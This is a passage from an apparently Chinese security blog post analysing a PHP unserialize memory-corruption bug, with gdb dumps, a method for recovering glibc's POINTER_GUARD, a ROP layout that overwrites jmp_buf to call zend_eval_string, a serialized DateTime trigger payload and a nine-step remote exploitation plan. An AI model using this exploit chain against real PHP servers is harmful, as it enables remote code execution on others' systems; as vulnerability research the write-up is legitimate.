gc = 0 ‘\000’}, errorzvalptr = 0x130ab88 <executorglobals+40>,
symtablecache = {0x0 <repeats 32 times>}, symtablecache
limit = 0x130aca0 <executorglobals+320>,
symtable
cache_ptr = 0x130aba0 <executorglobals+64>, oplineptr = 0x0,
activesymboltable = 0x130acc8 <executorglobals+360>, symboltable = {nTableSize = 64, nTableMask = 63,
nNumOfElements = 7, nNextFreeElement = 0, pInternalPointer = 0x7ffff7fce2b8, pListHead = 0x7ffff7fce2b8,
pListTail = 0x7ffff7fd0eb8, arBuckets = 0x7ffff7fce0a8, pDestructor = 0x94cf86 <_zval_ptr_dtor>,
persistent = 0 ‘\000’, nApplyCount = 0 ‘\000’, bApplyProtection = 1 ‘\001’}, includedfiles = {nTableSize = 8,
nTableMask = 0, nNumOfElements = 0, nNextFreeElement = 0, pInternalPointer = 0x0, pListHead = 0x0,
pListTail = 0x0, arBuckets = 0x1303da0 , pDestructor = 0x0, persistent = 0 ‘\000’,
nApplyCount = 0 ‘\000’, bApplyProtection = 1 ‘\001’}, bailout = 0x7fffffffd0f0, error
reporting = 22519,

但是仅仅是直接覆盖jmpbuf还是不行的,因为在新版glic中对jmpbuf里保存的关键寄存器进行了PTR_MANGLE加密处理,我们来看看setjmp的代码:
(gdb) disas setjmp
Dump of assembler code for function setjmp:
0x00007ffff55f2430 <+0>: mov $0x1,%esi
0x00007ffff55f2435 <+5>: jmpq 0x7ffff55f23a0 <__sigsetjmp>
End of assembler dump.
(gdb) disas __sigsetjmp
Dump of assembler code for function __sigsetjmp:
0x00007ffff55f23a0 <+0>: mov %rbx,(%rdi)
0x00007ffff55f23a3 <+3>: mov %rbp,%rax
0x00007ffff55f23a6 <+6>: xor %fs:0x30,%rax
0x00007ffff55f23af <+15>: rol $0x11,%rax
0x00007ffff55f23b3 <+19>: mov %rax,0x8(%rdi)
0x00007ffff55f23b7 <+23>: mov %r12,0x10(%rdi)
0x00007ffff55f23bb <+27>: mov %r13,0x18(%rdi)
0x00007ffff55f23bf <+31>: mov %r14,0x20(%rdi)
0x00007ffff55f23c3 <+35>: mov %r15,0x28(%rdi)
0x00007ffff55f23c7 <+39>: lea 0x8(%rsp),%rdx
0x00007ffff55f23cc <+44>: xor %fs:0x30,%rdx
0x00007ffff55f23d5 <+53>: rol $0x11,%rdx
0x00007ffff55f23d9 <+57>: mov %rdx,0x30(%rdi) PTR_MANGLE处理RSP并保存
0x00007ffff55f23dd <+61>: mov (%rsp),%rax
0x00007ffff55f23e1 <+65>: nop
0x00007ffff55f23e2 <+66>: xor %fs:0x30,%rax
0x00007ffff55f23eb <+75>: rol $0x11,%rax
0x00007ffff55f23ef <+79>: mov %rax,0x38(%rdi) PTR_MANGLE处理返回地址RIP并保存
0x00007ffff55f23f3 <+83>: jmpq 0x7ffff55f2400 <__sigjmp_save>
End of assembler dump.
(gdb)

我们可以看到PTR_MANGLE加密算法是:
xor %fs:0x30,%rdx
rol $0x11,%rdx

其中fs:0x30就是POINTERGUARD,这个算法是可逆的。而phpexecutescript调用了setjmp,并将jmpbuf保存到EG(bailout)中,因此通过漏洞进行任意内存读操作来泄漏phpexecutescript地址即可知道调用setjmp时的返回地址RIP,和保存在jmpbuf里面的被加密以后的RIP值。然后我们通过PTRMANGLE加密算法的逆运算,就可以反推出POINTERGUARD的值了。用这个POINTERGUARD可以加密我们自己的返回地址再覆盖jmpbuf,从而达到控制程序流程的目的。

phpexecutescript的地址同样可以通过ELF文件的strtab、symtab获得,在phpexecutescript中调用了setjmp的偏移是:
(gdb) disas php_execute_script
Dump of assembler code for function php_execute_script:
0x00000000008d6d11 <+0>: push %rbp
0x00000000008d6d12 <+1>: mov %rsp,%rbp
0x00000000008d6d15 <+4>: push %rbx
0x00000000008d6d16 <+5>: sub $0x1238,%rsp
0x00000000008d6d1d <+12>: mov %rdi,-0x1238(%rbp)
=> 0x00000000008d6d24 <+19>: lea -0xd0(%rbp),%rsi
0x00000000008d6d2b <+26>: mov $0x0,%eax
0x00000000008d6d30 <+31>: mov $0xf,%edx
0x00000000008d6d35 <+36>: mov %rsi,%rdi
0x00000000008d6d38 <+39>: mov %rdx,%rcx
0x00000000008d6d3b <+42>: rep stos %rax,%es:(%rdi)
0x00000000008d6d3e <+45>: lea -0x150(%rbp),%rsi
0x00000000008d6d45 <+52>: mov $0x0,%eax
0x00000000008d6d4a <+57>: mov $0xf,%edx
0x00000000008d6d4f <+62>: mov %rsi,%rdi
0x00000000008d6d52 <+65>: mov %rdx,%rcx
0x00000000008d6d55 <+68>: rep stos %rax,%es:(%rdi)
0x00000000008d6d58 <+71>: movl $0x0,-0x24(%rbp)
0x00000000008d6d5f <+78>: lea 0xa33dfa(%rip),%rax # 0x130ab60 <executor_globals>
0x00000000008d6d66 <+85>: movl $0x0,0x208(%rax)
0x00000000008d6d70 <+95>: movb $0x0,-0x25(%rbp)
0x00000000008d6d74 <+99>: mov $0x10,%eax
0x00000000008d6d79 <+104>: sub $0x1,%rax
0x00000000008d6d7d <+108>: add $0x100f,%rax
0x00000000008d6d83 <+114>: mov $0x10,%ebx
0x00000000008d6d88 <+119>: mov $0x0,%edx
0x00000000008d6d8d <+124>: div %rbx
0x00000000008d6d90 <+127>: imul $0x10,%rax,%rax
0x00000000008d6d94 <+131>: sub %rax,%rsp
0x00000000008d6d97 <+134>: lea 0x8(%rsp),%rax
0x00000000008d6d9c <+139>: add $0xf,%rax
0x00000000008d6da0 <+143>: shr $0x4,%rax
0x00000000008d6da4 <+147>: shl $0x4,%rax
0x00000000008d6da8 <+151>: mov %rax,-0x30(%rbp)
0x00000000008d6dac <+155>: mov -0x30(%rbp),%rax
0x00000000008d6db0 <+159>: movb $0x0,(%rax)
0x00000000008d6db3 <+162>: lea 0xa33da6(%rip),%rax # 0x130ab60 <executor_globals>
0x00000000008d6dba <+169>: mov 0x1f8(%rax),%rax
0x00000000008d6dc1 <+176>: mov %rax,-0x38(%rbp)
0x00000000008d6dc5 <+180>: lea 0xa33d94(%rip),%rax # 0x130ab60 <executor_globals>
0x00000000008d6dcc <+187>: lea -0x1230(%rbp),%rdx
0x00000000008d6dd3 <+194>: mov %rdx,0x1f8(%rax)
0x00000000008d6dda <+201>: lea -0x1230(%rbp),%rax
0x00000000008d6de1 <+208>: mov %rax,%rdi
0x00000000008d6de4 <+211>: callq 0x42cdc0 <_setjmp@plt> #这里调用setjmp
0x00000000008d6de9 <+216>: test %eax,%eax #这个是返回地址

因此偏移量是0x00000000008d6de9-0x00000000008d6d11=0xd8,我们取得phpexecutescript地址+0xd8作为返回地址setjmpretaddr,然后得到POINTERGUARD:
POINTER_GUARD = ror(jmp_buf[JB_PC], 0x11) ^ set_jmp_ret_addr

得到POINTER_GUARD以后就可以用来加密我们自己的shellcode地址,和RSP地址。

8.shellcode

在PHP下执行我们自己的代码首先需要对抗DEP,也就是需要ROP来绕过执行限制。但是在PHP下又有其特殊性,比其他的应用漏洞利用起来要容易得多,因为PHP有自己的代码执行函数eval,不需要我们去编写二进制shellcode。我们只需要获得eval的内部实现函数zendevalstring的地址,并排列好栈布局,把PHP代码放在后面,这样就可以直接利用zendevalstring执行我们的PHP代码了。

zendevalstring的地址同样可以通过ELF文件来获取到(远程需要通过strtab、symtab来获得)。

最终覆盖jmp_buf的内容是这样的:

4mem

其中retvalptr和stringname这两个是zendevalstring的后两个参数,retvalptr可以为0,stringname随便指向一个字符串。phpcodeaddr就是我们要执行的PHP代码的地址(’system(…)’)。这里的RSP要指向jmpbuf+0x40,也就是RIP后面的这个栈地址,然后同样用POINTERGUARD进行加密。因为是64位程序不能靠栈来传递参数,我们还需要找到pop rdi;ret;/pop rsi; ret/pop rdx;ret这样的gadgets地址来进行参数传递。这里要用两次poprdiaddr的原始是我发现栈内容会被程序修改,第一次pop rdi得到的phpcodeaddr是不对的,第二次再弹出的rdi就是正确的了。注意只有第一个poprdiaddr需要加密,第二个poprdiaddr不需要机密。用这样的布局好的内容覆盖jmpbuf之后,一旦出现异常,就会跳去zendeval_string执行,此时第一个参数即rdi参数指向了我们的PHP代码。

制造异常的方式是反序列化以下代码:
'O:8:"DateTime":1:{s:10:"_date_time";s:25:"-001-11-30T00:00:00+01:00";}'

9.总结

远程利用此漏洞,需要进行的步骤是:

  1. 利用读内存的方法获得php模块的ELF文件地址
  2. 通过ELF文件的strtab、symtab分析出executorglobals、phpexecute_script和zendevalstring地址
  3. 通过executorglobals得到bailout也就是jmpbuf地址
  4. 从jmp_buf开始向上搜索内存,找到一个0x0C到0x8F之间的数值当作内存块1的长度,在这个长度+0x10的地方释放内存块1
  5. 重用被释放的内存块1,在末尾伪造一个内存块2的长度,使内存块2能够达到jmp_buf的位置
  6. 释放内存块2
  7. 利用jmpbuf中存储的返回地址和phpexecutescript中的实际返回地址计算出POINTERGUARD
  8. 重用内存块2,用构造好的包含用POINTERGUARD加密过的zendevalstring地址和PHP代码的ROP链去覆盖jmpbuf
  9. 制造异常,跳转到zendevalstring去执行我们的PHP代码
Posted on 一月 10, 2017 at 下午3:12 by admin · Permalink
In: Web安全, 漏洞分析

友情链接